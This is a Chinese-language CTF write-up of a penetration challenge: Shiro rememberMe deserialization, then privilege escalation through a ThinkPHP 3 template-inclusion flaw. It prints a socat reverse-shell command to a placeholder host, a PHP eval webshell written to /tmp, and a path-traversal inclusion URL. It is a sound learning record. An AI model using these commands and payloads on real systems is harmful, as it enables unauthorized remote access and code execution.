Hard_Penetration

用了 Apache Shiro 的反序列化漏洞,特征是用户信息会加密后存储在rememberMe的Cookie中。直接利用脚本打。shiro-exploit

权限是ctf,还是要提权,/flag和/var/www/html都是读不了的,发现题目有socat,反弹shell。

# 靶机
socat tcp:ip:8888 exec:/bin/bash,pty,stderr,setsid
# VPS
socat - tcp-listen:8888,fork,reuseadd

弹完可以维持住shell,发现除了8888的Java服务,还有一个8005的PHP服务,而且是用www-data权限起的,但是不可访问,应该是没有暴露出端口。

骚操作,杀掉8888的javaweb进程,然后把8005的phpweb重新映射到8888端口,这个思路蛮有意思的,也这题的精华点,后面的网站渗透反倒索然无味了。

ps -ef // 找javaweb进程
kill {pid} // 关闭javaweb服务
nohup socat tcp-listen:8888,fork,reuseaddr tcp:127.0.0.1:8005 & // 重新映射端口

tp3的web服务,交互页面很烦,有个没什么用的/admin,看了一圈没什么交互点,我的思路是既然有了ctf权限的shell,就去在低权限目录下写一个shell,然后用www-data权限的phpweb目录穿越+文件包含,达到提权目的。谷歌了一下这几个关键字,就找到了模板包含点。

但是穿越之后存在.html.html后缀,不可以直接读flag,就写一个1.html.html文件。

bash > echo <?php @eval($_POST['shell']);?> > 1.html.html

包含后蚁剑拿shell,读flag就可以了,由于包含了之后会被当做PHP直接执行,所以就算没有php后缀也没事。

wap/index/index?a=display&templateFile=../../../../../../../../../../../../../../tmp/1

Last updated